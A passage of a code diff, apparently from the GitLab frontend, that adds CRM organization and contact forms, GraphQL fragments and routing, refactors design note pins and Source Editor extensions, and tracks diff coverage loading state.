+ label: __('Issues'),
+ formatter: (id) => {
+ return getIdFromGraphQLId(id);
+ },
+ },
],
i18n: {
emptyText: s__('Crm|No organizations found'),
+ issuesButtonLabel: __('View issues'),
+ title: s__('Crm|Customer Relations Organizations'),
+ newOrganization: s__('Crm|New organization'),
+ errorText: __('Something went wrong. Please try again.'),
+ organizationAdded: s__('Crm|Organization has been added'),
},
};
</script>
<template>
<div>
+ <gl-alert v-if="error" variant="danger" class="gl-mt-6" @dismiss="error = false">
+ {{ $options.i18n.errorText }}
+ </gl-alert>
+ <div
+ class="gl-display-flex gl-align-items-baseline gl-flex-direction-row gl-justify-content-space-between gl-mt-6"
+ >
+ <h2 class="gl-font-size-h2 gl-my-0">
+ {{ $options.i18n.title }}
+ </h2>
+ <div
+ v-if="canCreateNew"
+ class="gl-display-none gl-md-display-flex gl-align-items-center gl-justify-content-end"
+ >
+ <gl-button variant="confirm" data-testid="new-organization-button" @click="displayNewForm">
+ {{ $options.i18n.newOrganization }}
+ </gl-button>
+ </div>
+ </div>
+ <new-organization-form v-if="showNewForm" :drawer-open="showNewForm" @close="hideNewForm" />
<gl-loading-icon v-if="isLoading" class="gl-mt-5" size="lg" />
<gl-table
v-else
+ class="gl-mt-5"
:items="organizations"
:fields="$options.fields"
:empty-text="$options.i18n.emptyText"
show-empty
- />
+ >
+ <template #cell(id)="data">
+ <gl-button
+ v-gl-tooltip.hover.bottom="$options.i18n.issuesButtonLabel"
+ data-testid="issues-link"
+ icon="issues"
+ :aria-label="$options.i18n.issuesButtonLabel"
+ :href="getIssuesPath(groupIssuesPath, data.value)"
+ />
+ </template>
+ </gl-table>
</div>
</template>
diff --git a/app/assets/javascripts/crm/components/queries/create_contact.mutation.graphql b/app/assets/javascripts/crm/components/queries/create_contact.mutation.graphql
new file mode 100644
index 00000000000..e0192459609
--- /dev/null
+++ b/app/assets/javascripts/crm/components/queries/create_contact.mutation.graphql
@@ -0,0 +1,10 @@
+#import "./crm_contact_fields.fragment.graphql"
+
+mutation createContact($input: CustomerRelationsContactCreateInput!) {
+ customerRelationsContactCreate(input: $input) {
+ contact {
+ ...ContactFragment
+ }
+ errors
+ }
+}
diff --git a/app/assets/javascripts/crm/components/queries/create_organization.mutation.graphql b/app/assets/javascripts/crm/components/queries/create_organization.mutation.graphql
new file mode 100644
index 00000000000..2cc7e53ee9b
--- /dev/null
+++ b/app/assets/javascripts/crm/components/queries/create_organization.mutation.graphql
@@ -0,0 +1,10 @@
+#import "./crm_organization_fields.fragment.graphql"
+
+mutation createOrganization($input: CustomerRelationsOrganizationCreateInput!) {
+ customerRelationsOrganizationCreate(input: $input) {
+ organization {
+ ...OrganizationFragment
+ }
+ errors
+ }
+}
diff --git a/app/assets/javascripts/crm/components/queries/crm_contact_fields.fragment.graphql b/app/assets/javascripts/crm/components/queries/crm_contact_fields.fragment.graphql
new file mode 100644
index 00000000000..cef4083b446
--- /dev/null
+++ b/app/assets/javascripts/crm/components/queries/crm_contact_fields.fragment.graphql
@@ -0,0 +1,14 @@
+fragment ContactFragment on CustomerRelationsContact {
+ __typename
+ id
+ firstName
+ lastName
+ email
+ phone
+ description
+ organization {
+ __typename
+ id
+ name
+ }
+}
diff --git a/app/assets/javascripts/crm/components/queries/crm_organization_fields.fragment.graphql b/app/assets/javascripts/crm/components/queries/crm_organization_fields.fragment.graphql
new file mode 100644
index 00000000000..4adc5742d3a
--- /dev/null
+++ b/app/assets/javascripts/crm/components/queries/crm_organization_fields.fragment.graphql
@@ -0,0 +1,7 @@
+fragment OrganizationFragment on CustomerRelationsOrganization {
+ __typename
+ id
+ name
+ defaultRate
+ description
+}
diff --git a/app/assets/javascripts/crm/components/queries/get_group_contacts.query.graphql b/app/assets/javascripts/crm/components/queries/get_group_contacts.query.graphql
index f6acd258585..2a8150e42e3 100644
--- a/app/assets/javascripts/crm/components/queries/get_group_contacts.query.graphql
+++ b/app/assets/javascripts/crm/components/queries/get_group_contacts.query.graphql
@@ -1,21 +1,12 @@
+#import "./crm_contact_fields.fragment.graphql"
+
query contacts($groupFullPath: ID!) {
group(fullPath: $groupFullPath) {
__typename
id
contacts {
nodes {
- __typename
- id
- firstName
- lastName
- email
- phone
- description
- organization {
- __typename
- id
- name
- }
+ ...ContactFragment
}
}
}
diff --git a/app/assets/javascripts/crm/components/queries/get_group_organizations.query.graphql b/app/assets/javascripts/crm/components/queries/get_group_organizations.query.graphql
index 7c4ec6ec585..e8d8109431e 100644
--- a/app/assets/javascripts/crm/components/queries/get_group_organizations.query.graphql
+++ b/app/assets/javascripts/crm/components/queries/get_group_organizations.query.graphql
@@ -1,14 +1,12 @@
+#import "./crm_organization_fields.fragment.graphql"
+
query organizations($groupFullPath: ID!) {
group(fullPath: $groupFullPath) {
__typename
id
organizations {
nodes {
- __typename
- id
- name
- defaultRate
- description
+ ...OrganizationFragment
}
}
}
diff --git a/app/assets/javascripts/crm/components/queries/update_contact.mutation.graphql b/app/assets/javascripts/crm/components/queries/update_contact.mutation.graphql
new file mode 100644
index 00000000000..f55f6a10e0a
--- /dev/null
+++ b/app/assets/javascripts/crm/components/queries/update_contact.mutation.graphql
@@ -0,0 +1,10 @@
+#import "./crm_contact_fields.fragment.graphql"
+
+mutation updateContact($input: CustomerRelationsContactUpdateInput!) {
+ customerRelationsContactUpdate(input: $input) {
+ contact {
+ ...ContactFragment
+ }
+ errors
+ }
+}
diff --git a/app/assets/javascripts/crm/constants.js b/app/assets/javascripts/crm/constants.js
new file mode 100644
index 00000000000..3b085837aea
--- /dev/null
+++ b/app/assets/javascripts/crm/constants.js
@@ -0,0 +1,3 @@
+export const INDEX_ROUTE_NAME = 'index';
+export const NEW_ROUTE_NAME = 'new';
+export const EDIT_ROUTE_NAME = 'edit';
diff --git a/app/assets/javascripts/crm/contacts_bundle.js b/app/assets/javascripts/crm/contacts_bundle.js
index 6438953596e..f49ec64210f 100644
--- a/app/assets/javascripts/crm/contacts_bundle.js
+++ b/app/assets/javascripts/crm/contacts_bundle.js
@@ -1,9 +1,14 @@
+import { GlToast } from '@gitlab/ui';
import Vue from 'vue';
import VueApollo from 'vue-apollo';
+import VueRouter from 'vue-router';
import createDefaultClient from '~/lib/graphql';
import CrmContactsRoot from './components/contacts_root.vue';
+import routes from './routes';
Vue.use(VueApollo);
+Vue.use(VueRouter);
+Vue.use(GlToast);
export default () => {
const el = document.getElementById('js-crm-contacts-app');
@@ -16,10 +21,19 @@ export default () => {
return false;
}
+ const { basePath, groupFullPath, groupIssuesPath, canAdminCrmContact, groupId } = el.dataset;
+
+ const router = new VueRouter({
+ base: basePath,
+ mode: 'history',
+ routes,
+ });
+
return new Vue({
el,
+ router,
apolloProvider,
- provide: { groupFullPath: el.dataset.groupFullPath },
+ provide: { groupFullPath, groupIssuesPath, canAdminCrmContact, groupId },
render(createElement) {
return createElement(CrmContactsRoot);
},
diff --git a/app/assets/javascripts/crm/organizations_bundle.js b/app/assets/javascripts/crm/organizations_bundle.js
index ac9990b9fb4..828d7cd426c 100644
--- a/app/assets/javascripts/crm/organizations_bundle.js
+++ b/app/assets/javascripts/crm/organizations_bundle.js
@@ -1,9 +1,14 @@
+import { GlToast } from '@gitlab/ui';
import Vue from 'vue';
import VueApollo from 'vue-apollo';
+import VueRouter from 'vue-router';
import createDefaultClient from '~/lib/graphql';
import CrmOrganizationsRoot from './components/organizations_root.vue';
+import routes from './routes';
Vue.use(VueApollo);
+Vue.use(VueRouter);
+Vue.use(GlToast);
export default () => {
const el = document.getElementById('js-crm-organizations-app');
@@ -16,10 +21,19 @@ export default () => {
return false;
}
+ const { basePath, canAdminCrmOrganization, groupFullPath, groupId, groupIssuesPath } = el.dataset;
+
+ const router = new VueRouter({
+ base: basePath,
+ mode: 'history',
+ routes,
+ });
+
return new Vue({
el,
+ router,
apolloProvider,
- provide: { groupFullPath: el.dataset.groupFullPath },
+ provide: { canAdminCrmOrganization, groupFullPath, groupId, groupIssuesPath },
render(createElement) {
return createElement(CrmOrganizationsRoot);
},
diff --git a/app/assets/javascripts/crm/routes.js b/app/assets/javascripts/crm/routes.js
new file mode 100644
index 00000000000..12aa17d73b6
--- /dev/null
+++ b/app/assets/javascripts/crm/routes.js
@@ -0,0 +1,16 @@
+import { INDEX_ROUTE_NAME, NEW_ROUTE_NAME, EDIT_ROUTE_NAME } from './constants';
+
+export default [
+ {
+ name: INDEX_ROUTE_NAME,
+ path: '/',
+ },
+ {
+ name: NEW_ROUTE_NAME,
+ path: '/new',
+ },
+ {
+ name: EDIT_ROUTE_NAME,
+ path: '/:id/edit',
+ },
+];
diff --git a/app/assets/javascripts/delete_label_modal.js b/app/assets/javascripts/delete_label_modal.js
deleted file mode 100644
index cf7c9e7734f..00000000000
--- a/app/assets/javascripts/delete_label_modal.js
+++ /dev/null
@@ -1,16 +0,0 @@
-import Vue from 'vue';
-import DeleteLabelModal from '~/vue_shared/components/delete_label_modal.vue';
-
-const mountDeleteLabelModal = (optionalProps) =>
- new Vue({
- render(h) {
- return h(DeleteLabelModal, {
- props: {
- selector: '.js-delete-label-modal-button',
- ...optionalProps,
- },
- });
- },
- }).$mount();
-
-export default (optionalProps = {}) => mountDeleteLabelModal(optionalProps);
diff --git a/app/assets/javascripts/design_management/components/design_note_pin.vue b/app/assets/javascripts/design_management/components/design_note_pin.vue
deleted file mode 100644
index 320e0654aab..00000000000
--- a/app/assets/javascripts/design_management/components/design_note_pin.vue
+++ /dev/null
@@ -1,53 +0,0 @@
-<script>
-import { GlIcon } from '@gitlab/ui';
-import { __, sprintf } from '~/locale';
-
-export default {
- name: 'DesignNotePin',
- components: {
- GlIcon,
- },
- props: {
- position: {
- type: Object,
- required: true,
- },
- label: {
- type: Number,
- required: false,
- default: null,
- },
- },
- computed: {
- isNewNote() {
- return this.label === null;
- },
- pinLabel() {
- return this.isNewNote
- ? __('Comment form position')
- : sprintf(__("Comment '%{label}' position"), { label: this.label });
- },
- },
-};
-</script>
-
-<template>
- <button
- :style="position"
- :aria-label="pinLabel"
- :class="{
- 'btn-transparent comment-indicator gl-p-0': isNewNote,
- 'js-image-badge badge badge-pill': !isNewNote,
- }"
- class="gl-absolute gl-display-flex gl-align-items-center gl-justify-content-center gl-font-lg gl-outline-0!"
- type="button"
- @mousedown="$emit('mousedown', $event)"
- @mouseup="$emit('mouseup', $event)"
- @click="$emit('click', $event)"
- >
- <gl-icon v-if="isNewNote" name="image-comment-dark" :size="24" />
- <template v-else>
- {{ label }}
- </template>
- </button>
-</template>
diff --git a/app/assets/javascripts/design_management/components/design_notes/design_discussion.vue b/app/assets/javascripts/design_management/components/design_notes/design_discussion.vue
index 813f87452d8..10976202d06 100644
--- a/app/assets/javascripts/design_management/components/design_notes/design_discussion.vue
+++ b/app/assets/javascripts/design_management/components/design_notes/design_discussion.vue
@@ -1,11 +1,12 @@
<script>
-import { GlTooltipDirective, GlIcon, GlLoadingIcon, GlLink, GlBadge } from '@gitlab/ui';
+import { GlTooltipDirective, GlIcon, GlLoadingIcon, GlLink } from '@gitlab/ui';
import { ApolloMutation } from 'vue-apollo';
import createFlash from '~/flash';
import { s__ } from '~/locale';
import ReplyPlaceholder from '~/notes/components/discussion_reply_placeholder.vue';
import { updateGlobalTodoCount } from '~/vue_shared/components/sidebar/todo_toggle/utils';
import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
+import DesignNotePin from '~/vue_shared/components/design_management/design_note_pin.vue';
import { ACTIVE_DISCUSSION_SOURCE_TYPES } from '../../constants';
import createNoteMutation from '../../graphql/mutations/create_note.mutation.graphql';
import toggleResolveDiscussionMutation from '../../graphql/mutations/toggle_resolve_discussion.mutation.graphql';
@@ -30,7 +31,7 @@ export default {
GlLink,
ToggleRepliesWidget,
TimeAgoTooltip,
- GlBadge,
+ DesignNotePin,
},
directives: {
GlTooltip: GlTooltipDirective,
@@ -213,12 +214,7 @@ export default {
<template>
<div class="design-discussion-wrapper">
- <gl-badge
- class="gl-display-flex gl-align-items-center gl-justify-content-center gl-cursor-pointer"
- :class="{ resolved: discussion.resolved }"
- >
- {{ discussion.index }}
- </gl-badge>
+ <design-note-pin :is-resolved="discussion.resolved" :label="discussion.index" />
<ul
class="design-discussion bordered-box gl-relative gl-p-0 gl-list-style-none"
data-qa-selector="design_discussion_content"
diff --git a/app/assets/javascripts/design_management/components/design_overlay.vue b/app/assets/javascripts/design_management/components/design_overlay.vue
index 7815a57ce18..b058709b316 100644
--- a/app/assets/javascripts/design_management/components/design_overlay.vue
+++ b/app/assets/javascripts/design_management/components/design_overlay.vue
@@ -1,9 +1,9 @@
<script>
import { __ } from '~/locale';
+import DesignNotePin from '~/vue_shared/components/design_management/design_note_pin.vue';
import { ACTIVE_DISCUSSION_SOURCE_TYPES } from '../constants';
import updateActiveDiscussionMutation from '../graphql/mutations/update_active_discussion.mutation.graphql';
import activeDiscussionQuery from '../graphql/queries/active_discussion.query.graphql';
-import DesignNotePin from './design_note_pin.vue';
export default {
name: 'DesignOverlay',
@@ -251,9 +251,6 @@ export default {
!discussionNotes.some(({ id }) => id === this.activeDiscussion.id)
);
},
- designPinClass(note) {
- return { inactive: this.isNoteInactive(note), resolved: note.resolved };
- },
},
i18n: {
newCommentButtonLabel: __('Add comment to design'),
@@ -287,7 +284,8 @@ export default {
? getNotePositionStyle(movingNoteNewPosition)
: getNotePositionStyle(note.position)
"
- :class="designPinClass(note)"
+ :is-inactive="isNoteInactive(note)"
+ :is-resolved="note.resolved"
@mousedown.stop="onNoteMousedown($event, note)"
@mouseup.stop="onNoteMouseup(note)"
/>
diff --git a/app/assets/javascripts/design_management/graphql/fragments/discussion_resolved_status.fragment.graphql b/app/assets/javascripts/design_management/graphql/fragments/discussion_resolved_status.fragment.graphql
index 7483b508721..9ad85017921 100644
--- a/app/assets/javascripts/design_management/graphql/fragments/discussion_resolved_status.fragment.graphql
+++ b/app/assets/javascripts/design_management/graphql/fragments/discussion_resolved_status.fragment.graphql
@@ -1,8 +1,10 @@
fragment ResolvedStatus on Discussion {
+ id
resolvable
resolved
resolvedAt
resolvedBy {
+ id
name
webUrl
}
diff --git a/app/assets/javascripts/design_management/graphql/mutations/upload_design.mutation.graphql b/app/assets/javascripts/design_management/graphql/mutations/upload_design.mutation.graphql
index 111f5ac18a7..34d683ac1ee 100644
--- a/app/assets/javascripts/design_management/graphql/mutations/upload_design.mutation.graphql
+++ b/app/assets/javascripts/design_management/graphql/mutations/upload_design.mutation.graphql
@@ -3,6 +3,7 @@
mutation uploadDesign($files: [Upload!]!, $projectPath: ID!, $iid: ID!) {
designManagementUpload(input: { projectPath: $projectPath, iid: $iid, files: $files }) {
+ # eslint-disable-next-line @graphql-eslint/require-id-when-available
designs {
...DesignItem
versions {
@@ -14,6 +15,7 @@ mutation uploadDesign($files: [Upload!]!, $projectPath: ID!, $iid: ID!) {
}
}
skippedDesigns {
+ id
filename
}
errors
diff --git a/app/assets/javascripts/design_management/graphql/queries/get_design.query.graphql b/app/assets/javascripts/design_management/graphql/queries/get_design.query.graphql
index 99a61191c6e..a5394457f73 100644
--- a/app/assets/javascripts/design_management/graphql/queries/get_design.query.graphql
+++ b/app/assets/javascripts/design_management/graphql/queries/get_design.query.graphql
@@ -10,8 +10,10 @@ query getDesign(
project(fullPath: $fullPath) {
id
issue(iid: $iid) {
+ id
designCollection {
designs(atVersion: $atVersion, filenames: $filenames) {
+ # eslint-disable-next-line @graphql-eslint/require-id-when-available
nodes {
...DesignItem
issue {
diff --git a/app/assets/javascripts/diffs/components/app.vue b/app/assets/javascripts/diffs/components/app.vue
index f405b82b05b..66d06a3a1b6 100644
--- a/app/assets/javascripts/diffs/components/app.vue
+++ b/app/assets/javascripts/diffs/components/app.vue
@@ -44,7 +44,6 @@ import {
TRACKING_MULTIPLE_FILES_MODE,
} from '../constants';
-import { discussionIntersectionObserverHandlerFactory } from '../utils/discussions';
import diffsEventHub from '../event_hub';
import { reviewStatuses } from '../utils/file_reviews';
import { diffsApp } from '../utils/performance';
@@ -87,9 +86,6 @@ export default {
ALERT_MERGE_CONFLICT,
ALERT_COLLAPSED_FILES,
},
- provide: {
- discussionObserverHandler: discussionIntersectionObserverHandlerFactory(),
- },
props: {
endpoint: {
type: String,
diff --git a/app/assets/javascripts/diffs/components/diff_file.vue b/app/assets/javascripts/diffs/components/diff_file.vue
index d09cc064b2c..4e77bf81c1e 100644
--- a/app/assets/javascripts/diffs/components/diff_file.vue
+++ b/app/assets/javascripts/diffs/components/diff_file.vue
@@ -10,6 +10,7 @@ import {
import { escape } from 'lodash';
import { mapActions, mapGetters, mapState } from 'vuex';
import { IdState } from 'vendor/vue-virtual-scroller';
+import DiffContent from 'jh_else_ce/diffs/components/diff_content.vue';
import createFlash from '~/flash';
import { hasDiff } from '~/helpers/diffs_helper';
import { diffViewerErrors } from '~/ide/constants';
@@ -28,7 +29,6 @@ import {
import eventHub from '../event_hub';
import { DIFF_FILE, GENERIC_ERROR, CONFLICT_TEXT } from '../i18n';
import { collapsedType, getShortShaFromFile } from '../utils/diff_file';
-import DiffContent from './diff_content.vue';
import DiffFileHeader from './diff_file_header.vue';
export default {
diff --git a/app/assets/javascripts/diffs/components/diff_row.vue b/app/assets/javascripts/diffs/components/diff_row.vue
index 4e33a02ca0e..4893803a3b6 100644
--- a/app/assets/javascripts/diffs/components/diff_row.vue
+++ b/app/assets/javascripts/diffs/components/diff_row.vue
@@ -42,6 +42,11 @@ export default {
required: false,
default: false,
},
+ coverageLoaded: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
inline: {
type: Boolean,
required: false,
@@ -83,14 +88,15 @@ export default {
if (!props.inline || !props.line.left) return {};
return props.fileLineCoverage(props.filePath, props.line.left.new_line);
},
- (props) => [props.inline, props.filePath, props.line.left?.new_line].join(':'),
+ (props) =>
+ [props.inline, props.filePath, props.line.left?.new_line, props.coverageLoaded].join(':'),
),
coverageStateRight: memoize(
(props) => {
if (!props.line.right) return {};
return props.fileLineCoverage(props.filePath, props.line.right.new_line);
},
- (props) => [props.line.right?.new_line, props.filePath].join(':'),
+ (props) => [props.line.right?.new_line, props.filePath, props.coverageLoaded].join(':'),
),
showCodequalityLeft: memoize(
(props) => {
diff --git a/app/assets/javascripts/diffs/components/diff_view.vue b/app/assets/javascripts/diffs/components/diff_view.vue
index 55c796182ee..8562a1d44e7 100644
--- a/app/assets/javascripts/diffs/components/diff_view.vue
+++ b/app/assets/javascripts/diffs/components/diff_view.vue
@@ -52,7 +52,7 @@ export default {
},
computed: {
...mapGetters('diffs', ['commitId', 'fileLineCoverage']),
- ...mapState('diffs', ['codequalityDiff', 'highlightedRow']),
+ ...mapState('diffs', ['codequalityDiff', 'highlightedRow', 'coverageLoaded']),
...mapState({
selectedCommentPosition: ({ notes }) => notes.selectedCommentPosition,
selectedCommentPositionHover: ({ notes }) => notes.selectedCommentPositionHover,
@@ -180,6 +180,7 @@ export default {
:index="index"
:is-highlighted="isHighlighted(line)"
:file-line-coverage="fileLineCoverage"
+ :coverage-loaded="coverageLoaded"
@showCommentForm="(code) => singleLineComment(code, line)"
@setHighlightedRow="setHighlightedRow"
@toggleLineDiscussions="
diff --git a/app/assets/javascripts/diffs/store/modules/diff_state.js b/app/assets/javascripts/diffs/store/modules/diff_state.js
index a5b1a577a78..5f66360a040 100644
--- a/app/assets/javascripts/diffs/store/modules/diff_state.js
+++ b/app/assets/javascripts/diffs/store/modules/diff_state.js
@@ -21,6 +21,7 @@ export default () => ({
startVersion: null, // Null unless a target diff is selected for comparison that is not the "base" diff
diffFiles: [],
coverageFiles: {},
+ coverageLoaded: false,
mergeRequestDiffs: [],
mergeRequestDiff: null,
diffViewType: getViewTypeFromQueryString() || viewTypeFromCookie || defaultViewType,
diff --git a/app/assets/javascripts/diffs/store/mutations.js b/app/assets/javascripts/diffs/store/mutations.js
index 4a9df0eafcc..fb35114c0a9 100644
--- a/app/assets/javascripts/diffs/store/mutations.js
+++ b/app/assets/javascripts/diffs/store/mutations.js
@@ -86,7 +86,7 @@ export default {
},
[types.SET_COVERAGE_DATA](state, coverageFiles) {
- Object.assign(state, { coverageFiles });
+ Object.assign(state, { coverageFiles, coverageLoaded: true });
},
[types.RENDER_FILE](state, file) {
diff --git a/app/assets/javascripts/diffs/utils/discussions.js b/app/assets/javascripts/diffs/utils/discussions.js
deleted file mode 100644
index c404705d209..00000000000
--- a/app/assets/javascripts/diffs/utils/discussions.js
+++ /dev/null
@@ -1,76 +0,0 @@
-function normalize(processable) {
- const { entry } = processable;
- const offset = entry.rootBounds.bottom - entry.boundingClientRect.top;
- const direction =
- offset < 0 ? 'Up' : 'Down'; /* eslint-disable-line @gitlab/require-i18n-strings */
-
- return {
- ...processable,
- entry: {
- time: entry.time,
- type: entry.isIntersecting ? 'intersection' : `scroll${direction}`,
- },
- };
-}
-
-function sort({ entry: alpha }, { entry: beta }) {
- const diff = alpha.time - beta.time;
- let order = 0;
-
- if (diff < 0) {
- order = -1;
- } else if (diff > 0) {
- order = 1;
- } else if (alpha.type === 'intersection' && beta.type === 'scrollUp') {
- order = 2;
- } else if (alpha.type === 'scrollUp' && beta.type === 'intersection') {
- order = -2;
- }
-
- return order;
-}
-
-function filter(entry) {
- return entry.type !== 'scrollDown';
-}
-
-export function discussionIntersectionObserverHandlerFactory() {
- let unprocessed = [];
- let timer = null;
-
- return (processable) => {
- unprocessed.push(processable);
-
- if (timer) {
- clearTimeout(timer);
- }
-
- timer = setTimeout(() => {
- unprocessed
- .map(normalize)
- .filter(filter)
- .sort(sort)
- .forEach((discussionObservationContainer) => {
- const {
- entry: { type },
- currentDiscussion,
- isFirstUnresolved,
- isDiffsPage,
- functions: { setCurrentDiscussionId, getPreviousUnresolvedDiscussionId },
- } = discussionObservationContainer;
-
- if (type === 'intersection') {
- setCurrentDiscussionId(currentDiscussion.id);
- } else if (type === 'scrollUp') {
- setCurrentDiscussionId(
- isFirstUnresolved
- ? null
- : getPreviousUnresolvedDiscussionId(currentDiscussion.id, isDiffsPage),
- );
- }
- });
-
- unprocessed = [];
- }, 0);
- };
-}
diff --git a/app/assets/javascripts/dropzone_input.js b/app/assets/javascripts/dropzone_input.js
index f404fa4e0e8..7c7127dfa44 100644
--- a/app/assets/javascripts/dropzone_input.js
+++ b/app/assets/javascripts/dropzone_input.js
@@ -44,6 +44,7 @@ export default function dropzoneInput(form, config = { parallelUploads: 2 }) {
let addFileToForm;
let updateAttachingMessage;
let uploadFile;
+ let hasPlainText;
formTextarea.wrap('<div class="div-dropzone"></div>');
formTextarea.on('paste', (event) => handlePaste(event));
@@ -184,7 +185,7 @@ export default function dropzoneInput(form, config = { parallelUploads: 2 }) {
event.preventDefault();
const text = converter.convertToTableMarkdown();
pasteText(text);
- } else {
+ } else if (!hasPlainText(pasteEvent)) {
const fileList = [...clipboardData.files];
fileList.forEach((file) => {
if (file.type.indexOf('image') !== -1) {
@@ -203,6 +204,11 @@ export default function dropzoneInput(form, config = { parallelUploads: 2 }) {
}
};
+ hasPlainText = (data) => {
+ const clipboardDataList = [...data.clipboardData.items];
+ return clipboardDataList.some((item) => item.type === 'text/plain');
+ };
+
pasteText = (text, shouldPad) => {
let formattedText = text;
if (shouldPad) {
diff --git a/app/assets/javascripts/editor/constants.js b/app/assets/javascripts/editor/constants.js
index e855e304d27..2ae9c377683 100644
--- a/app/assets/javascripts/editor/constants.js
+++ b/app/assets/javascripts/editor/constants.js
@@ -42,6 +42,10 @@ export const EDITOR_EXTENSION_STORE_IS_MISSING_ERROR = s__(
// EXTENSIONS' CONSTANTS
//
+// Source Editor Base Extension
+export const EXTENSION_BASE_LINE_LINK_ANCHOR_CLASS = 'link-anchor';
+export const EXTENSION_BASE_LINE_NUMBERS_CLASS = 'line-numbers';
+
// For CI config schemas the filename must match
// '*.gitlab-ci.yml' regardless of project configuration.
// https://gitlab.com/gitlab-org/gitlab/-/issues/293641
diff --git a/app/assets/javascripts/editor/extensions/example_source_editor_extension.js b/app/assets/javascripts/editor/extensions/example_source_editor_extension.js
index 119a2aea9eb..52e2bb0b5ff 100644
--- a/app/assets/javascripts/editor/extensions/example_source_editor_extension.js
+++ b/app/assets/javascripts/editor/extensions/example_source_editor_extension.js
@@ -7,6 +7,16 @@
export class MyFancyExtension {
/**
+ * A required getter returning the extension's name
+ * We have to provide it for every extension instead of relying on the built-in
+ * `name` prop because the prop does not survive the webpack's minification
+ * and the name mangling.
+ * @returns {string}
+ */
+ static get extensionName() {
+ return 'MyFancyExtension';
+ }
+ /**
* THE LIFE-CYCLE CALLBACKS
*/
@@ -16,11 +26,11 @@ export class MyFancyExtension {
* actions, keystrokes, update options, etc.
* Is called only once before the extension gets registered
*
- * @param { Object } [setupOptions] The setupOptions object
* @param { Object } [instance] The Source Editor instance
+ * @param { Object } [setupOptions] The setupOptions object
*/
// eslint-disable-next-line class-methods-use-this,no-unused-vars
- onSetup(setupOptions, instance) {}
+ onSetup(instance, setupOptions) {}
/**
* The first thing called after the extension is
diff --git a/app/assets/javascripts/editor/extensions/source_editor_ci_schema_ext.js b/app/assets/javascripts/editor/extensions/source_editor_ci_schema_ext.js
index 7069568275d..0290bb84b5f 100644
--- a/app/assets/javascripts/editor/extensions/source_editor_ci_schema_ext.js
+++ b/app/assets/javascripts/editor/extensions/source_editor_ci_schema_ext.js
@@ -1,32 +1,27 @@
import ciSchemaPath from '~/editor/schema/ci.json';
import { registerSchema } from '~/ide/utils';
-import { SourceEditorExtension } from './source_editor_extension_base';
-export class CiSchemaExtension extends SourceEditorExtension {
- /**
- * Registers a syntax schema to the editor based on project
- * identifier and commit.
- *
- * The schema is added to the file that is currently edited
- * in the editor.
- *
- * @param {Object} opts
- * @param {String} opts.projectNamespace
- * @param {String} opts.projectPath
- * @param {String?} opts.ref - Current ref. Defaults to main
- */
- registerCiSchema() {
- // In order for workers loaded from `data://` as the
- // ones loaded by monaco editor, we use absolute URLs
- // to fetch schema files, hence the `gon.gitlab_url`
- // reference. This prevents error:
- // "Failed to execute 'fetch' on 'WorkerGlobalScope'"
- const absoluteSchemaUrl = gon.gitlab_url + ciSchemaPath;
- const modelFileName = this.getModel().uri.path.split('/').pop();
+export class CiSchemaExtension {
+ static get extensionName() {
+ return 'CiSchema';
+ }
+ // eslint-disable-next-line class-methods-use-this
+ provides() {
+ return {
+ registerCiSchema: (instance) => {
+ // In order for workers loaded from `data://` as the
+ // ones loaded by monaco editor, we use absolute URLs
+ // to fetch schema files, hence the `gon.gitlab_url`
+ // reference. This prevents error:
+ // "Failed to execute 'fetch' on 'WorkerGlobalScope'"
+ const absoluteSchemaUrl = gon.gitlab_url + ciSchemaPath;
+ const modelFileName = instance.getModel().uri.path.split('/').pop();
- registerSchema({
- uri: absoluteSchemaUrl,
- fileMatch: [modelFileName],
- });
+ registerSchema({
+ uri: absoluteSchemaUrl,
+ fileMatch: [modelFileName],
+ });
+ },
+ };
}
}
diff --git a/app/assets/javascripts/editor/extensions/source_editor_extension_base.js b/app/assets/javascripts/editor/extensions/source_editor_extension_base.js
index 03c68fed3b1..3aa19df964c 100644
--- a/app/assets/javascripts/editor/extensions/source_editor_extension_base.js
+++ b/app/assets/javascripts/editor/extensions/source_editor_extension_base.js
@@ -1,13 +1,16 @@
import { Range } from 'monaco-editor';
-import { waitForCSSLoaded } from '~/helpers/startup_css_helper';
-import { ERROR_INSTANCE_REQUIRED_FOR_EXTENSION, EDITOR_TYPE_CODE } from '../constants';
+import {
+ EDITOR_TYPE_CODE,
+ EXTENSION_BASE_LINE_LINK_ANCHOR_CLASS,
+ EXTENSION_BASE_LINE_NUMBERS_CLASS,
+} from '../constants';
const hashRegexp = new RegExp('#?L', 'g');
const createAnchor = (href) => {
const fragment = new DocumentFragment();
const el = document.createElement('a');
- el.classList.add('link-anchor');
+ el.classList.add(EXTENSION_BASE_LINE_LINK_ANCHOR_CLASS);
el.href = href;
fragment.appendChild(el);
el.addEventListener('contextmenu', (e) => {
@@ -17,38 +20,46 @@ const createAnchor = (href) => {
};
export class SourceEditorExtension {
- constructor({ instance, ...options } = {}) {
- if (instance) {
- Object.assign(instance, options);
- SourceEditorExtension.highlightLines(instance);
- if (instance.getEditorType && instance.getEditorType() === EDITOR_TYPE_CODE) {
- SourceEditorExtension.setupLineLinking(instance);
- }
- SourceEditorExtension.deferRerender(instance);
- } else if (Object.entries(options).length) {
- throw new Error(ERROR_INSTANCE_REQUIRED_FOR_EXTENSION);
+ static get extensionName() {
+ return 'BaseExtension';
+ }
+
+ // eslint-disable-next-line class-methods-use-this
+ onUse(instance) {
+ SourceEditorExtension.highlightLines(instance);
+ if (instance.getEditorType && instance.getEditorType() === EDITOR_TYPE_CODE) {
+ SourceEditorExtension.setupLineLinking(instance);
}
}
- static deferRerender(instance) {
- waitForCSSLoaded(() => {
- instance.layout();
- });
+ static onMouseMoveHandler(e) {
+ const target = e.target.element;
+ if (target.classList.contains(EXTENSION_BASE_LINE_NUMBERS_CLASS)) {
+ const lineNum = e.target.position.lineNumber;
+ const hrefAttr = `#L${lineNum}`;
+ let lineLink = target.querySelector('a');
+ if (!lineLink) {
+ lineLink = createAnchor(hrefAttr);
+ target.appendChild(lineLink);
+ }
+ }
}
- static removeHighlights(instance) {
- Object.assign(instance, {
- lineDecorations: instance.deltaDecorations(instance.lineDecorations || [], []),
+ static setupLineLinking(instance) {
+ instance.onMouseMove(SourceEditorExtension.onMouseMoveHandler);
+ instance.onMouseDown((e) => {
+ const isCorrectAnchor = e.target.element.classList.contains(
+ EXTENSION_BASE_LINE_LINK_ANCHOR_CLASS,
+ );
+ if (!isCorrectAnchor) {
+ return;
+ }
+ if (instance.lineDecorations) {
+ instance.deltaDecorations(instance.lineDecorations, []);
+ }
});
}
- /**
- * Returns a function that can only be invoked once between
